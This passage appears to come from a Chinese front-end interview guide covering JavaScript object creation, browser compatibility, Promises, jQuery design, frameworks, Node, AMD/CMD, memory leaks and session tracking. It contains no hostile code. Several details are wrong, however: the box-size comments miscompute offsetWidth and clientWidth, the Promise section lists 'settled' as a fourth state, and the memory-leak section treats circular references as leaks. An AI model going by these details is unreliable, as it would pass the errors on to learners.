offsetWidth/offsetHeight 表示元素包含内容、内边距和边框的完整尺寸,clientWidth/clientHeight 则不包含边框和滚动条。 scrollWidth/scrollHeight 反映内容实际占用的尺寸,连不可见的溢出部分也会计算进去。简单来说,前者看元素整体,中间一组看内部可视区,后一组看内容总量。判断内容是否溢出时,可以比较 scrollWidth 与 clientWidth,没有溢出时两者通常相同。

  • offsetWidth/offsetHeight:返回元素的总宽度/高度,包括内容宽度、内边距和边框宽度。该值包含了元素的完整尺寸,包括隐藏的部分和滚动条占用的空间。
  • clientWidth/clientHeight:返回元素的可视区域宽度/高度,即内容区域加上内边距,但不包括滚动条的宽度。该值表示元素内部可见的部分尺寸。
  • scrollWidth/scrollHeight:返回元素内容的实际宽度/高度,包括内容区域的尺寸以及溢出内容的尺寸。如果内容没有溢出,则与clientWidth/clientHeight的值相同。

区别总结:

  • offsetWidth/offsetHeight包含了元素的边框和滚动条占用的空间,提供了元素的完整尺寸。
  • clientWidth/clientHeight只包含元素的内容区域和内边距,不包括滚动条,表示了元素内部可见的部分尺寸。
  • scrollWidth/scrollHeight包含了元素内容的实际宽度/高度,包括溢出内容的尺寸。

示例代码:

<style>
  #box {
    width: 200px;
    height: 200px;
    padding: 20px;
    border: 2px solid black;
    overflow: scroll;
  }
  #content {
    width: 400px;
    height: 400px;
  }
</style>

<div id="box">
  <div id="content"></div>
</div>

<script>
  var box = document.getElementById('box');
  console.log('offsetWidth:', box.offsetWidth); // 224 (200 + 20 + 2 + 2)
  console.log('offsetHeight:', box.offsetHeight); // 224 (200 + 20 + 2 + 2)

  console.log('clientWidth:', box.clientWidth); // 200 (200 + 20 + 20)
  console.log('clientHeight:', box.clientHeight); // 200 (200 + 20 + 20)

  console.log('scrollWidth:', box.scrollWidth); // 400 (content的宽度)
  console.log('scrollHeight:', box.scrollHeight); // 400 (content的高度)
</script>

在上面的示例中,box元素的尺寸为200px × 200px,有20px的内边距和2px的边框。内部的content元素的尺寸为400px × 400px,超出了父元素的尺寸。通过不同的属性获取到的值可以看到它们的差异。

小结

  • offsetWidth/offsetHeight返回值包含content + padding + border,效果与e.getBoundingClientRect()相同
  • clientWidth/clientHeight返回值只包含content + padding,如果有滚动条,也不包含滚动条
  • scrollWidth/scrollHeight返回值包含content + padding + 溢出内容的尺寸

# 21 javascript有哪些方法定义对象

⚡ 30 秒速记

  • 字面量:const o = { a: 1 }(最常用)
  • 构造函数:function Person(){}; new Person()
  • Object.create(proto):显式指定原型,传 null 得到无原型的纯净对象
  • class 语法(ES6):本质是构造函数的语法糖
  • 工厂函数:返回对象字面量的普通函数,不需要 new
  • new Object():几乎没人用
  • 补充:ES6+ 还有对象解构、展开、计算属性名、简写方法等语法糖

JavaScript 定义对象常用对象字面量、构造函数、Object.create()、class 和工厂函数。 字面量最直接,适合创建结构明确的单个对象;构造函数和 class 更适合批量生成同类实例。需要精确控制原型时可以用 Object.create(),传入 null 还能得到无原型对象。对象也可通过原型扩展共享方法,或用 Object.assign() 合并多个源对象的属性。

  • 对象字面量: var obj = {}; 原型是Object.prototype
  • 构造函数: var obj = new Object();
  • Object.create(): var obj = Object.create(Object.prototype);
    • Object.create(null) 没有原型
    • Object.create({...}) 可指定原型

1. 字面量表示法(Literal Notation):

使用对象字面量 {} 直接创建对象,并在其中定义属性和方法。

const person = {
  name: 'poetry',
  age: 30,
  sayHello: function() {
    console.log('Hello!');
  }
};

2. 构造函数(Constructor):

使用构造函数创建对象,可以定义一个构造函数,然后使用 new 关键字实例化对象。

function Person(name, age) {
  this.name = name;
  this.age = age;
  this.sayHello = function() {
    console.log('Hello!');
  };
}

const person = new Person('poetry', 30);

3. Object.create() 方法:

使用Object.create()方法创建一个新对象,并将指定的原型对象设置为新对象的原型。可以传入一个原型对象作为参数,也可以传入null作为参数来创建没有原型的对象。

const personPrototype = {
  sayHello: function() {
    console.log('Hello!');
  }
};

const person = Object.create(personPrototype);
person.name = 'poetry';
person.age = 30;

4. class 关键字(ES6引入):

使用 class 关键字可以定义类,并通过 new 关键字实例化对象。

class Person {
 constructor(name, age) {
   this.name = name;
   this.age = age;
 }

 sayHello() {
   console.log('Hello!');
 }
}

const person = new Person('poetry', 30);

5. 工厂函数(Factory Function):

使用一个函数来封装创建对象的逻辑,并返回新创建的对象。

function createPerson(name, age) {
  const person = {};
  person.name = name;
  person.age = age;
  person.sayHello = function() {
    console.log('Hello!');
  };
  return person;
}

const person = createPerson('poetry', 30);

6. 原型(Prototype):

在 JavaScript 中,每个对象都有一个原型(prototype),可以通过原型链来继承属性和方法。

function Person(name, age) {
  this.name = name;
  this.age = age;
}

Person.prototype.sayHello = function() {
  console.log('Hello!');
};

const person = new Person('poetry', 30);

7. Object.assign() 方法:

使用 Object.assign() 方法可以将一个或多个源对象的属性复制到目标对象中,从而创建一个新对象。

const person1 = {
  name: 'poetry',
  age: 30
};

const person2 = {
  sayHello: function() {
    console.log('Hello!');
  }
};

const person = Object.assign({}, person1, person2);

# 22 常见兼容性问题?

⚡ 30 秒速记

  • 这题内容以 IE 为主,已经过时。今天真实的兼容性战场是:iOS Safari(所有 iOS 浏览器被强制用 WebKit)、微信内置浏览器、国产浏览器的旧内核
  • 常见现代问题:iOS 的 100vh 包含地址栏(用 100dvh)、iOS 输入框聚焦时页面上移、日期字符串 new Date('2024-01-01 00:00') 在 Safari 报 Invalid Date(要用 ISO 格式)
  • 解决思路不是判断浏览器,而是:Browserslist 声明目标 → Babel + core-js 按需 polyfill → Autoprefixer 加前缀 → CSS 用 @supports
  • 运行时用特性检测('IntersectionObserver' in window)而不是 UA 嗅探

常见兼容性问题主要来自不同浏览器对盒模型、样式、JavaScript API、事件和图片格式的支持差异。 比如元素尺寸不一致时,可以通过 box-sizing 统一计算方式;新样式不被支持时,则要补浏览器前缀或提供替代方案。处理事件对象、鼠标坐标和计算样式时,也要先做能力检测,再选择对应实现。实际开发不能只看页面是否显示,还要在目标浏览器中测试交互和异常场景。

常见的兼容性问题有很多,以下列举一些常见的问题:

  1. 浏览器的盒模型差异:不同浏览器对盒模型的解析存在差异,导致元素的尺寸计算不一致。可以使用CSS盒模型属性(box-sizing)来进行控制。
  2. 浏览器对CSS属性的支持差异:不同浏览器对CSS属性的支持程度不同,某些属性在某些浏览器中可能不起作用或解析不正确。需要使用CSS前缀(Vendor Prefix)或使用兼容性方案来处理。
  3. JavaScript API的差异:不同浏览器对JavaScript API的支持存在差异,某些方法、属性或事件在某些浏览器中可能不可用或行为不同。需要进行兼容性检测并使用替代方案或进行特定的处理。
  4. 样式的兼容性:不同浏览器对样式的解析存在差异,可能导致页面显示不一致。需要针对不同浏览器进行样式的调整和优化。
  5. 图片格式的兼容性:不同浏览器对图片格式的支持存在差异,某些格式在某些浏览器中可能不被支持或显示异常。需要根据需求选择合适的图片格式,并进行兼容性处理。
  6. 事件处理的差异:不同浏览器对事件的处理存在差异,例如事件对象的属性、方法、坐标获取等方面。需要进行兼容性处理,使用合适的方法来获取事件相关信息。

示例代码:

// 获取鼠标坐标
function getMousePosition(event) {
  var x, y;
  if (event.pageX || event.pageY) {
    x = event.pageX;
    y = event.pageY;
  } else {
    x = event.clientX + document.body.scrollLeft + document.documentElement.scrollLeft;
    y = event.clientY + document.body.scrollTop + document.documentElement.scrollTop;
  }
  return { x: x, y: y };
}

// 兼容性处理
var event = event || window.event;
var mousePosition = getMousePosition(event);

// 获取元素样式
function getComputedStyle(element) {
  if (window.getComputedStyle) {
    return window.getComputedStyle(element, null);
  } else {
    return element.currentStyle;
  }
}

// 兼容性处理
var elementStyle = getComputedStyle(element);

// 图片格式兼容性处理
var img = new Image();
img.src = 'image.png';
img.onerror = function() {
  // 图片加载失败,处理兼容性
};

以上示例代码展示了对常见兼容性问题的处理方法,包括事件对象的属性获取、样式获取和图片加载的兼容性处理。在实际开发中,需要根据具体的兼容性问题选择合适的解决方案,并进行兼容性测试和调整。

# 23 说说你对promise的了解

⚡ 30 秒速记

  • 三个状态:pending → fulfilled / rejected,只能改变一次且不可逆
  • 解决的是回调地狱和信任问题(回调可能被调多次或不调)
  • 链式调用:then 返回新 Promise;返回普通值会被包成 resolved,返回 Promise 则等它落定
  • 静态方法:all(全成功才成功,一个失败就失败)、allSettled(都等完,不管成败)、race(第一个落定的说了算)、any(第一个成功的,全失败才失败)
  • catch 是 then(null, fn) 的语法糖;finally 不接收参数且会透传结果
  • then 的回调是微任务,第 91 题的事件循环演示可以看它怎么插队
  • 手写 Promise 是高频考题,重点是状态机 + 回调队列 + then 的链式返回

Promise 用来描述异步操作的最终结果,初始为 pending,之后只能变成 fulfilled 或 rejected。 状态一旦确定就不能再次改变,而 settled 表示它已经成功或失败,并不是还能继续转换的新阶段。调用 resolve 或 reject 后,可以分别通过 then 和 catch 处理结果与错误。finally 无论成功还是失败都会执行,适合放清理或收尾逻辑。

依照 Promise/A+ 的定义,Promise 有四种状态:

  1. pending(进行中): 初始状态,表示异步操作尚未完成。当创建一个 Promise 对象时,它的初始状态就是 pending。
  2. fulfilled(已成功): 表示异步操作已成功完成,并且返回了一个结果值。一旦 Promise 的状态转为 fulfilled,就会调用 onFulfilled 回调函数。
  3. rejected(已失败): 表示异步操作执行过程中出现了错误或失败。一旦 Promise 的状态转为 rejected,就会调用 onRejected 回调函数。
  4. settled(已结束): 表示 Promise 已经被 resolved(fulfilled 或 rejected)。在 settled 状态下,Promise 的状态已经确定,不会再发生变化。

需要注意的是,Promise 的状态转换是单向的,一旦状态确定后就不可再改变。一开始是 pending,然后可以转为 fulfilled 或 rejected,一旦转换为其中一种状态,就会保持在那个状态,无法再次改变。

以下是一个示例代码,演示 Promise 的不同状态和状态转换过程:

// 创建一个 Promise 对象
var promise = new Promise(function(resolve, reject) {
  // 异步操作
  setTimeout(function() {
    var randomNum = Math.random();
    if (randomNum > 0.5) {
      resolve('Operation succeeded');
    } else {
      reject('Operation failed');
    }
  }, 1000);
});

// 使用 Promise 对象
promise
  .then(function(result) {
    console.log('Success:', result);
  })
  .catch(function(error) {
    console.log('Error:', error);
  })
  .finally(function() {
    console.log('Promise settled');
  });

在上面的示例中,我们创建了一个 Promise 对象,并在内部定义了一个异步操作。根据异步操作的结果,调用了 resolve 或 reject 方法来改变 Promise 的状态。然后使用 then 方法注册了成功时的回调函数,使用 catch 方法捕获了错误。最后,使用 finally 方法来注册一个在 Promise 完成后必定会执行的回调函数。

这样,我们就可以通过对 Promise 的状态进行判断和处理,来执行相应的操作。

# 24 你觉得jQuery源码有哪些写的好的地方

⚡ 30 秒速记

  • 这题今天价值有限(jQuery 已退出主流),但设计思想仍值得说
  • 无 new 构造:jQuery() 内部 return new jQuery.fn.init(),让用户不用写 new
  • 原型共享:jQuery.fn.init.prototype = jQuery.fn,让 init 造出的实例能用所有原型方法
  • 链式调用:方法都 return this
  • 插件机制:$.fn.extend 挂实例方法、$.extend 挂静态方法
  • 用 IIFE 包裹避免污染全局,只暴露 $ 和 jQuery
  • 面试时点明"这些思想在现代库里的对应物"更好:链式调用 → 流式 API、插件机制 → 中间件/插件系统

jQuery 源码比较出色的地方,是把易用性、扩展能力和浏览器兼容封装在了一套清晰结构里。 它用自执行函数隔离作用域,只向外暴露 jQuery 和 $,减少了全局污染。jQuery() 内部通过 jQuery.fn.init 创建实例,再共享 jQuery.fn 上的方法,因此既不用手写 new,又能复用原型能力。配合链式调用、事件委托和插件机制,常见的 DOM 操作与功能扩展会更统一。

  • jQuery的源码结构清晰,模块化的设计使得各个功能模块之间相互独立,易于维护和扩展。
  • jQuery采用了很多优化技巧,例如使用惰性函数、缓存DOM查询结果、事件委托等,以提高性能和效率。
  • jQuery提供了一致而强大的选择器功能,支持多种选择器语法,使得操作DOM元素更加灵活方便。
  • jQuery提供了丰富的插件生态系统,使得开发者可以轻松扩展功能,且插件之间可以很好地兼容和组合使用。
  • jQuery封装了跨浏览器的解决方案,解决了浏览器兼容性问题,使开发者可以更专注于业务逻辑而不用关心底层实现细节。
  • jQuery提供了丰富的DOM操作方法和动画效果,使得开发者可以轻松实现复杂的交互效果。
  • jQuery文档详细且易于理解,提供了丰富的示例和用法说明,方便开发者学习和使用。

总的来说,jQuery源码在设计和实现上具有很多优秀的地方,使得它成为广泛应用的前端库之一。

以下是一个简单的示例代码,展示了jQuery源码中的一些优秀设计和实现:

// 定义一个自执行的匿名函数,将window对象作为局部变量传入,避免作用域链查找
(function(window, undefined) {

  // 定义jQuery构造函数
  var jQuery = function(selector) {
    return new jQuery.fn.init(selector);
  };

  // 将原型对象简写为fn,提高代码效率
  jQuery.fn = jQuery.prototype = {
    // 初始化方法
    init: function(selector) {
      // ...
    },
    // 扩展的实例方法
    // ...
  };

  // 将jQuery的原型对象赋值给fn,实现链式调用
  jQuery.fn.init.prototype = jQuery.fn;

  // ...

  // 将jQuery绑定到全局对象window上,提供全局访问
  window.jQuery = window.$ = jQuery;

})(window);

这段示例代码展示了jQuery源码中的一些优秀设计和实现:

  1. 使用自执行的匿名函数,将window对象作为局部变量传入,提高访问window对象的效率,同时避免全局污染。
  2. 通过将原型对象简写为fn,提高代码效率,同时利用init方法作为构造函数,实现链式调用。
  3. 使用原型继承机制,将jQuery的原型对象赋值给fn,使得实例对象可以直接访问jQuery的方法。
  4. 将jQuery绑定到全局对象window上,使得可以通过jQuery或$全局变量访问jQuery的功能。

这些设计和实现使得jQuery具有清晰的结构、高效的代码和易于使用的特性,成为广泛应用的前端库。

# 25 谈谈你对vue、react、angular的理解

⚡ 30 秒速记

  • Vue:渐进式、模板语法、上手快;Vue 3 用 Proxy 做响应式,Composition API 组织逻辑,编译期优化多(静态提升、Patch Flag)
  • React:本质是 UI = f(state),JSX 即 JS,心智模型统一;靠 Fiber 实现可中断渲染,React 19 的 Server Components 把渲染分到服务端
  • Angular:全家桶框架,TypeScript + 依赖注入 + RxJS,约束强、适合大型企业项目,学习曲线陡
  • 共同点:组件化、声明式、虚拟 DOM(Angular 用增量 DOM)
  • 加分点:能说出新趋势 —— Svelte/Solid 走编译期无虚拟 DOM 路线,React 的 Server Components 和 Vue 的 Vapor Mode 都在减少运行时开销

Vue、React 和 Angular 都以组件化、声明式开发为核心,但定位和约束程度不同。 Vue 渐进灵活,模板和响应式数据绑定容易上手,适合快速开发,也能按需扩展。React 用 JSX 和虚拟 DOM 组织可复用组件,生态更大,但需要自行选择不少配套方案。Angular 内置路由、依赖注入等完整能力,适合大型复杂应用,不过概念更多、学习成本也更高。

继续对比Vue、React和Angular的优缺点对比:

Vue.js:

  • 优点:
    • 简单易学:Vue.js具有简单易学的特点,可以快速上手,适合小型项目或初学者。
    • 响应式数据绑定:Vue.js使用双向数据绑定机制,能够实现数据的自动更新和同步,提高开发效率。
    • 轻量灵活:Vue.js的核心库很小,可以根据需要逐渐引入插件,具有灵活性和可扩展性。
    • 生态系统丰富:Vue.js拥有庞大的社区和生态系统,有大量的第三方库和组件可供使用。
  • 缺点:
    • 生态系统相对较小:相对于React和Angular,Vue.js的生态系统规模相对较小,可能在某些方面的资源和支持较少。

Angular:

  • 优点:

    • 完整的功能集:Angular是一个完整的前端框架,提供了路由、模块化、依赖注入等功能,适用于大型和复杂的应用程序开发。
    • 强大的模板系统:Angular具有强大的模板系统,支持丰富的指令和组件,使开发者可以更轻松地构建复杂的用户界面。
    • 强大的工具支持:Angular提供了强大的开发工具和调试工具,使开发和调试更加便捷。
  • 缺点:

    • 学习曲线较陡峭:相对于Vue.js和React,Angular的学习曲线较陡峭,需要掌握更多的概念和技术。
    • 复杂性较高:由于Angular是一个完整的框架,它的复杂性较高,对于简单项目可能会显得过于臃肿。

React:

  • 优点:
    • 高性能:React使用虚拟DOM技术,能够提高应用程序的性能,减少DOM操作。
    • 组件化开发:React倡导组件化开发,使得代码更加模块化、可维护和可复用。
    • 大而活跃的社区:React拥有庞大而活跃的社区,有大量的第三方库和组件可供使用。
    • 前后端通用:React可以进行服务器端渲染,使得应用程序具有更好的性能和搜索引擎优化。
  • 缺点:
    • 学习曲线较陡峭:React使用了JSX语法和一些独特的概念,对于新手来说可能需要一定的学习成本。

# 26 Node的应用场景

⚡ 30 秒速记

  • IO 密集型服务:API 网关、BFF 中间层、代理转发 —— 事件驱动非阻塞,扛并发好
  • 实时通信:WebSocket 聊天、协同编辑、推送
  • 前端工程化:构建工具、脚手架、CLI(Webpack/Vite/ESLint 本身都跑在 Node 上)
  • SSR:Next.js / Nuxt 的服务端渲染
  • 不适合:CPU 密集型计算(单线程会被堵死)—— 真要做就用 worker_threads 或交给其它语言的服务
  • 加分点:能提到 Node 的单线程指的是 JS 执行线程,IO 实际由 libuv 的线程池处理

Node.js 更适合高并发、I/O 密集和实时通信场景,例如接口服务、代理转发与聊天应用。 它基于事件驱动和非阻塞 I/O,可以高效处理大量连接,并借助 V8 执行 JavaScript。前端工程中也常用它编写 CLI、构建工具和自动化脚本,因为前后端能够共用语言和模块生态。边界是 CPU 密集任务会阻塞单线程,应拆分计算或交给更合适的服务处理。

特点:

  1. 基于事件驱动和非阻塞I/O: Node.js采用事件驱动的编程范式,通过异步非阻塞的I/O模型实现高效的并发处理,能够处理大量的并发连接。
  2. 单线程: Node.js使用单线程处理请求,避免了传统多线程模型中线程切换的开销,提高了处理请求的效率。
  3. 基于V8引擎: Node.js使用Google Chrome浏览器中的V8引擎解释执行JavaScript代码,具有高性能和高效的特点。
  4. 跨平台: Node.js可以在多个操作系统上运行,如Windows、Linux、Mac等。

优点:

  1. 高并发性能: Node.js的事件驱动和非阻塞I/O模型使其能够处理大量并发请求,适用于构建高性能的网络应用。
  2. 快速开发: Node.js使用JavaScript语言,具有统一的开发语言,使得前端开发人员可以轻松上手进行服务器端开发。
  3. 丰富的模块生态系统: Node.js拥有庞大的模块生态系统,提供了丰富的第三方模块和工具,可以快速构建复杂的应用程序。
  4. 轻量和高效: Node.js具有较小的内存占用和快速的启动时间,适合部署在云环境或资源有限的设备上。

缺点:

  1. 单线程限制: Node.js使用单线程处理请求,如果有长时间运行的计算密集型任务或阻塞操作,会导致整个应用程序的性能下降。
  2. 可靠性低: Node.js在处理错误和异常方面相对较弱,一旦代码某个环节崩溃,整个应用程序都可能崩溃,需要仔细处理错误和异常情况。
  3. 不适合CPU密集型任务: 由于Node.js的单线程特性,不适合处理需要大量计算的CPU密集型任务,这类任务可能会阻塞事件循环,影响整个应用程序的性能。

Node.js的应用场景主要包括以下几个方面:

  1. 服务器端开发: Node.js在服务器端开发中表现出色。由于其事件驱动、非阻塞的特性,适合处理高并发的网络请求,可以快速构建高性能的网络应用程序,如Web服务器、API服务器、实时聊天应用等。
  2. 实时应用程序: 基于Node.js的实时应用程序能够实现双向通信,例如实时聊天应用、协作工具、多人游戏等。Node.js的事件驱动模型和非阻塞I/O使得处理大量并发连接变得更加高效。
  3. 命令行工具: Node.js提供了丰富的API和模块,使得开发命令行工具变得简单和高效。通过Node.js可以编写自定义的命令行工具,用于执行各种任务、自动化流程和脚本处理等。
  4. 构建工具: Node.js可以用于构建前端的构建工具和任务执行器,如Grunt和Gulp。这些工具利用Node.js的模块化和文件操作能力,帮助开发者自动化地处理代码的编译、压缩、打包等任务。
  5. 代理服务器: 基于Node.js可以构建高性能的代理服务器,用于代理请求、路由转发、负载均衡等。Node.js的非阻塞I/O使得代理服务器能够同时处理大量的并发请求。

总的来说,Node.js适用于需要处理高并发、实时性要求高、需要构建高性能网络应用的场景。它在Web开发、实时应用、命令行工具等领域都有广泛的应用。

# 27 谈谈你对AMD、CMD的理解

⚡ 30 秒速记

  • AMD(require.js):依赖前置,define(['a','b'], function(a,b){}) —— 依赖在定义时就声明并提前执行
  • CMD(sea.js):依赖就近,define(function(require){ const a = require('a') }) —— 用到时才 require,执行时机更晚
  • 一句话区分:AMD 提前执行,CMD 延迟执行;AMD 依赖前置,CMD 依赖就近
  • 两者都是 ESM 出现前浏览器端的过渡方案,今天已无实战价值
  • 面试遇到直接说清历史定位,然后把重点转到 ESM vs CommonJS

AMD 和 CMD 都是浏览器端的异步模块规范,核心区别是声明依赖和加载依赖的时机。 AMD 由 RequireJS 提出,通常在 define 时把依赖前置声明,再通过回调使用模块。CMD 由 SeaJS 提出,依赖可以写在模块内部,通过 require 在用到的位置加载,更强调依赖就近。两者解决的是早期浏览器模块化问题,选择时主要看项目原有规范和团队习惯。

AMD(Asynchronous Module Definition)和CMD(Common Module Definition)是用于浏览器端的模块加载规范。它们的目标都是解决模块化开发的问题,提供了异步加载模块的机制,以提高网页的性能和加载速度。

AMD(Asynchronous Module Definition)

  • AMD是由RequireJS提出的一种模块加载规范。
  • AMD规范采用异步加载模块的方式,在使用模块之前,需要先定义模块的依赖关系,然后通过回调函数来使用模块。这种方式适用于浏览器环境,可以避免阻塞页面的加载。
  • AMD规范使用define函数来定义模块,可以指定模块的依赖关系和回调函数。在回调函数中可以获取依赖模块,并进行相应的操作。
  • 示例代码:
define(['module1', 'module2'], function(module1, module2) {
  // 使用module1和module2进行操作
});

CMD(Common Module Definition)

  • CMD是由SeaJS提出的一种模块加载规范。
  • CMD规范与AMD规范类似,也采用异步加载模块的方式。但与AMD不同的是,CMD规范在使用模块之前不需要先定义依赖关系,而是在使用时才进行模块的加载。
  • CMD规范使用define函数来定义模块,可以在回调函数中使用require函数来加载依赖模块。
  • 示例代码:
define(function(require) {
  var module1 = require('module1');
  var module2 = require('module2');
  // 使用module1和module2进行操作
});

总体来说,AMD和CMD都是用于浏览器端的模块加载规范,目的是解决模块化开发的问题。它们的区别在于模块定义和加载的时机不同,AMD在定义时就指定依赖关系并加载模块,而CMD在使用时才加载模块。根据具体的项目需求和团队的开发习惯,可以选择适合的规范进行模块化开发。

# 28 那些操作会造成内存泄漏

⚡ 30 秒速记

  • 与第 13 题重复,看那题的速记卡
  • 六类:意外全局变量、未清理的定时器/监听器、闭包持有大对象、脱离 DOM 的引用、第三方实例未 destroy、缓存无限增长
  • React 里最常见的是 useEffect 没写清理函数
  • 用 WeakMap/WeakSet 存对象关联数据,键可被 GC 回收
  • 排查:DevTools Memory 面板对比两次堆快照,重点看 Detached HTMLElement

内存泄漏本质上是无用对象仍被引用,常见来源包括未清理的定时器、事件监听器、闭包和脱离页面的 DOM。 长期存在的全局变量或无限增长的缓存也会持续占用内存,资源、第三方实例不用后同样应关闭或销毁。异步任务和回调需要妥善管理状态,避免相关引用一直无法释放。我一般会在组件卸载时集中清理监听和定时器,并通过内存快照检查残留对象。

除了之前提到的操作,以下是更多可能导致内存泄漏的操作,并附带示例代码:

1. 定时器未清理:

function startTimer() {
  setInterval(() => {
    // 定时操作
  }, 1000);
}

// 没有清理定时器,导致内存泄漏

解决方法:在不需要定时器时,使用 clearInterval 或 clearTimeout 清理定时器。

2. 异步操作未完成导致回调函数未执行:

function fetchData(callback) {
  // 异步操作,例如 AJAX 请求或数据库查询

  // 忘记调用回调函数,导致内存泄漏
}

// 示例中没有调用 fetchData 的回调函数

解决方法:确保异步操作完成后,调用相应的回调函数,或使用 Promise 或 async/await 等方式管理异步操作的状态。

3. DOM 元素未正确移除:

function createDOMElement() {
  const element = document.createElement('div');
  // 在页面中插入 element,但没有移除

  // 该函数可能被多次调用,导致大量无用的 DOM 元素存在于内存中
}

解决方法:在不需要的时候,使用 removeChild 或其他方法将 DOM 元素从页面中移除。

4. 未释放闭包中的引用:

function createClosure() {
  const data = 'sensitive data';

  setTimeout(() => {
    console.log(data);
  }, 1000);

  // 闭包中引用了外部的 data 变量,导致 data 无法被垃圾回收
}

解决方法:在不需要使用闭包中的外部变量时,确保取消引用,例如将闭包中的引用设置为 null。

除了之前提到的操作,以下是更多可能导致内存泄漏的操作,并附带示例代码:

5. 未正确释放事件监听器:

function addEventListener() {
  const element = document.getElementById('myElement');
  element.addEventListener('click', () => {
    // 事件处理程序
  });

  // 没有移除事件监听器,导致内存泄漏
}

解决方法:在不需要监听事件时,使用 removeEventListener 方法将事件监听器移除。

6. 大量数据缓存导致内存占用过高:

function cacheData() {
  const data = fetchData(); // 获取大量数据
  // 将数据存储在全局变量或其他长久存在的对象中

  // 数据缓存过多,占用大量内存资源
}

解决方法:及时清理不再需要的数据缓存,或使用适当的数据存储方案,例如使用数据库等。

7. 循环引用:

function createCircularReference() {
  const obj1 = {};
  const obj2 = {};

  obj1.ref = obj2;
  obj2.ref = obj1;

  // obj1 和 obj2 彼此引用,导致无法被垃圾回收
}

解决方法:确保循环引用的对象在不再需要时被解除引用,例如将相应的属性设置为 null。

8. 未正确释放资源:

function openResource() {
  const resource = openSomeResource();

  // 忘记关闭或释放 resource,导致资源泄漏
}

解决方法:在不再需要使用资源时,确保关闭、释放或销毁相应的资源,例如关闭数据库连接、释放文件句柄等。

# 29 web开发中会话跟踪的方法有哪些

⚡ 30 秒速记

  • 与第一章第 35 题重复
  • 四种传统方式:cookie、session(服务端存状态靠 cookie 传 id)、URL 重写、隐藏表单域
  • 前后端分离时代主流:Token/JWT 放 Authorization 头,服务端无状态、天然跨域、易水平扩展
  • cookie+session 的痛点是多机部署要共享 session(Redis 集中存)
  • JWT 的痛点是签发后无法主动作废(配黑名单或短过期 + refresh token)
  • 安全上会话标识必须 HttpOnly + Secure + SameSite

会话跟踪常见做法有 Cookie、服务端 Session、URL 重写、隐藏表单域,也可以按客户端 IP 辅助识别。 Session 把数据留在服务端,客户端通常只携带会话 ID,因此比直接把状态放进 Cookie 更容易集中管理。URL 和隐藏域适合在请求或表单间传递标识,但使用范围有限;IP 还会受共享网络和代理影响,不能作为可靠的唯一依据。

在Web开发中,常见的会话跟踪方法包括:

1. Cookie:

  • 使用HTTP Cookie来跟踪会话状态,将会话信息存储在客户端。

示例代码:

// 设置Cookie
document.cookie = "sessionID=abc123; expires=Sat, 31 Dec 2023 23:59:59 GMT; path=/";

// 读取Cookie
var sessionID = document.cookie;

2. Session:

  • 使用服务器端的会话管理机制,在服务器端存储会话数据,客户端通过会话ID来进行访问。

示例代码(使用Express.js框架):

// 在服务器端设置Session
app.use(session({ secret: 'secretKey', resave: false, saveUninitialized: true }));

// 在路由处理程序中存储和访问Session数据
req.session.username = 'poetry';
var username = req.session.username;

3. URL重写:

  • 在URL中附加会话标识符来进行会话跟踪。

示例代码:

https://example.com/page?sessionID=abc123

4. 隐藏Input:

  • 在HTML表单中使用隐藏的输入字段来存储会话信息。

示例代码:

<input type="hidden" name="sessionID" value="abc123">

5. IP地址:

  • 根据客户端的IP地址进行会话跟踪,但这种方法可能受到共享IP、代理服务器等因素的影响。

示例代码(使用Node.js):

var clientIP = req.headers['x-forwarded-for'] || req.connection.remoteAddress;

# 30 JS的基本数据类型和引用数据类型

⚡ 30 秒速记

  • 原始类型 7 个:number、string、boolean、null、undefined、symbol、bigint
  • 引用类型:Object 及其派生(Array、Function、Date、RegExp、Map、Set…)
  • 存储差异:原始类型的值存在栈上,引用类型的值存在堆上、栈上只存地址
  • 赋值差异:原始类型拷贝值,引用类型拷贝地址(所以改一个会影响另一个)
  • 比较差异:原始类型比值,引用类型比地址({} === {} 是 false)
  • typeof null === 'object' 是历史遗留 bug;判断数组用 Array.isArray

JavaScript 的基本类型包括 undefined、null、boolean、number、string、symbol 和 bigint,引用类型则以 Object 及数组、函数等派生对象为主。 基本类型赋值时复制的是值,改动新变量不会影响原变量;对象赋值复制的是引用,两个变量可能指向同一份数据。比较时也有类似区别,例如两个独立的 {} 并不严格相等;另外 typeof null 返回 object,判断数组应使用 Array.isArray()。

  • 基本数据类型:
    • undefined: 表示未定义或未初始化的值。
    • null: 表示空值或不存在的对象。
    • boolean: 表示逻辑上的true或false。
    • number: 表示数值,包括整数和浮点数。
    • string: 表示字符串。
    • symbol: 表示唯一的、不可变的值,通常用作对象的属性键。
  • 引用数据类型:
    • object: 表示一个复杂的数据结构,可以包含多个键值对。
    • array: 表示一个有序的、可变长度的集合。
    • function: 表示可执行的代码块,可以被调用执行。

基本数据类型在赋值时是按值传递的,每个变量都有自己的存储空间,修改一个变量不会影响其他变量。而引用数据类型在赋值时是按引用传递的,多个变量引用同一个对象,修改一个变量会影响其他变量。需要注意的是,null和undefined既是基本数据类型,也是特殊的值,表示不同的含义。

# 31 介绍js有哪些内置对象

⚡ 30 秒速记

  • 值属性:globalThis、Infinity、NaN、undefined
  • 基本对象:Object、Function、Boolean、Symbol
  • 数字与日期:Number、BigInt、Math、Date
  • 文本:String、RegExp
  • 集合:Array、Map、Set、WeakMap、WeakSet、TypedArray
  • 结构化数据:JSON、ArrayBuffer、DataView
  • 控制抽象:Promise、Generator、AsyncFunction
  • 反射:Reflect、Proxy
  • 错误:Error 及各种子类
  • 注意区分:window/document/console 属于 BOM/DOM,不是 JS 语言内置对象

JavaScript 内置对象可以按用途理解为基础对象、数据处理对象、集合对象和异步或错误处理对象。 基础能力主要由 Object、Function、String 和 Number 提供,日期、计算及文本匹配通常交给 Date、Math 和 RegExp。处理结构化数据和集合时常用 JSON、Array、Map 与 Set,异步流程和异常则分别使用 Promise、Error。实际开发没必要死记完整名单,知道对象负责什么、需要时能找到对应方法更重要。

JavaScript中有许多内置对象,用于提供各种功能和方法,常见的内置对象包括:

  1. Object: 所有对象的基类。
  2. Array: 用于表示和操作数组的对象。
  3. Boolean: 代表布尔值 true 或 false。
  4. Number: 代表数字,用于执行数值操作和计算。
  5. String: 代表字符串,用于处理和操作文本数据。
  6. Date: 用于处理日期和时间。
  7. RegExp: 用于进行正则表达式匹配。
  8. Function: 用于定义和调用函数。
  9. Math: 提供数学计算相关的方法和常量。
  10. JSON: 用于解析和序列化 JSON 数据。
  11. Error: 用于表示和处理错误。
  12. Map: 一种键值对的集合,其中键可以是任意类型。
  13. Set: 一种集合数据结构,存储唯一的值。
  14. Promise: 用于处理异步操作和编写更优雅的异步代码。
  15. Symbol: 代表唯一的标识符。

